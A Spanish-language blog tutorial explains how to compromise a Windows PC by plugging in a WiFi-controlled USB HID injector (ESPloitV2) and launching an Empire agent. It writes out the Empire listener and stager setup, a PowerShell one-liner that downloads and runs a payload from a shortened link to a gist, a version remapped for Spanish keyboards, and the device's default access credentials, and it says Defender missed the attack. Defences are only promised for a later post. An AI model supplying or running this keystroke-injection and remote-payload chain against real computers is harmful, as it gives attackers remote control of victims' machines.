Hacking con WiFi HID Injector y Empire

Facebooktwittergoogle_pluslinkedinmail

En esta entrada vamos a explicar como usar de forma simple un USB WiFi HID Injector para obtener acceso a un equipo. Para esto nos ayudaremos del framework de post-explotacion Empire.

En primer lugar, ¿qué es un USB WiFi HID Injector? y ¿Dónde lo conseguimos?

Un USB WiFi HID Injector es un USB que consta principalmente de un Atmega32u4 y un módulo ESP-12-F para añadir capacidad Wifi. Este USB al conectarse a un equipo es reconocido como un teclado y un raton. Por lo tanto, permite a un atacante conectarse vía WiFi a este y pulsar teclas o mover el ratón.

Este proyecto fue presentado en el Black Hat arsenal 2017 y está documentado en el GitHub del diseñador, donde podemos encontrar dónde adquirirlo.

En nuestro caso lo compramos en Aliexpress.

USB Wifi HID injector USB Wifi HID injector

Tal y como se indica en el GitHub estos USB ya llevan precargado ESPloitV2 por lo que podemos conectarlo y comenzar a jugar.

Configuración de Empire

Antes de poder seguir necesitaremos crear nuestro payload con Empire. En el siguiente enlace encontraréis una pequeña guía rápida de Empire.

Primero de todo creamos nuestro listener:

uselistener http

Empire

Configuramos el puerto y la IP  en la que escuchará Empire:

set Host http://198.51.100.2:8081
set Port 8081

Empire

Después de esto generamos nuestro payload:

back
usestager windows/ducky
set Listener http
execute

Empire

Del payload obtenido la última línea será la que utilizaremos en nuestro ataque.

Preparando el payload

Podríamos injectar el payload obtenido directamente a través del USB, pero tras varias pruebas realizadas el funcionamiento no es el correcto cuando la cadena de texto es tan larga.

Por lo tanto, utilizaremos gist.github.com para guardar allí nuestro payload  y en el ordenador de la víctima llamaremos a Powershell para que lo descargue mediante un acortador de Google

powershell -w 1 -nop -noni -c «IEX (New-Object Net.Webclient).downloadstring(‘https://goo.gl/XXXXX’)»

Por lo tanto, primero generamos nuestro gist.github.com con el payload:

Gist

y generamos un link acortado de google a nuestro gist en modo raw:

google

Con esto podríamos ejecutar la línea mencionada anteriormente en una consola powershell y tendríamos acceso al ordenador de la víctima. El problema que nos encontraremos al escribir la línea mediante el USB es el teclado español. El USB está configurado para pulsar las teclas como si el teclado destino fuera inglés. Por lo tanto, si realizamos un ataque a un equipo con teclado español deberemos cambiar los caracteres especiales. Para nuestra línea los cambios serían los siguientes:

Substituimos - por /
Substituimos " por @
Substituimos ( por  *
Substituimos ' por -
Substituimos : por >
Substituimos / por &
Substituimos ) por (

Quedando por lo tanto la siguiente línea:

powershell /w 1 /nop /noni /c @IEX *New-Object Net.Webclient(.downloadstring*-https>&&goo.gl&XXXX-(@

Donde XXXX es el link acortado de Google.

Con esto ya podemos ejecutar nuestro ataque.

Cargar el payload con el USB Wifi HID injector

Al conectar el USB a un ordenador, este creará un punto de acceso con SSID «Exploit» al que nos podremos conectar con la contraseña: DotAgency

Una vez conectados, en este caso con un móvil, accedemos con un navegador a http://192.168.1.1 y con los datos:

User: admin

Password: hacktheplanet

ESPloit

En este menú principal hacemos clic en Input Mode y nos llevará a una pantalla donde podremos gestionar el ratón y el teclado.

ESPloit

En esta lanzaremos nuestro ataque de forma sencilla.

Pulsamos sobre el botón GUI+r

escribiremos:

PrintLine: powershell

y haremos clic en Send Text+Enter

Después de esto escribiremos:

PrintLine: powershell /w 1 /nop /noni /c @IEX *New-Object Net.Webclient(.downloadstring*-https>&&goo.gl&XXXX-(@

y haremos clic de nuevo en Send Text+Enter

Tras esto podemos volver a nuestra máquina con Empire y verificar que tenemos un nuevo agente !

Empire

En nuestro caso realizamos el ataque en una máquina Windows 10 actualizada y con defender activo.  Defender no detectó el ataque en ningún momento.

En próximos post detallaremos más funcionalidades del USB y métodos de defensa.

2 Comentarios

Deja un comentario

Tu dirección de correo electrónico no será publicada. Los campos obligatorios están marcados con *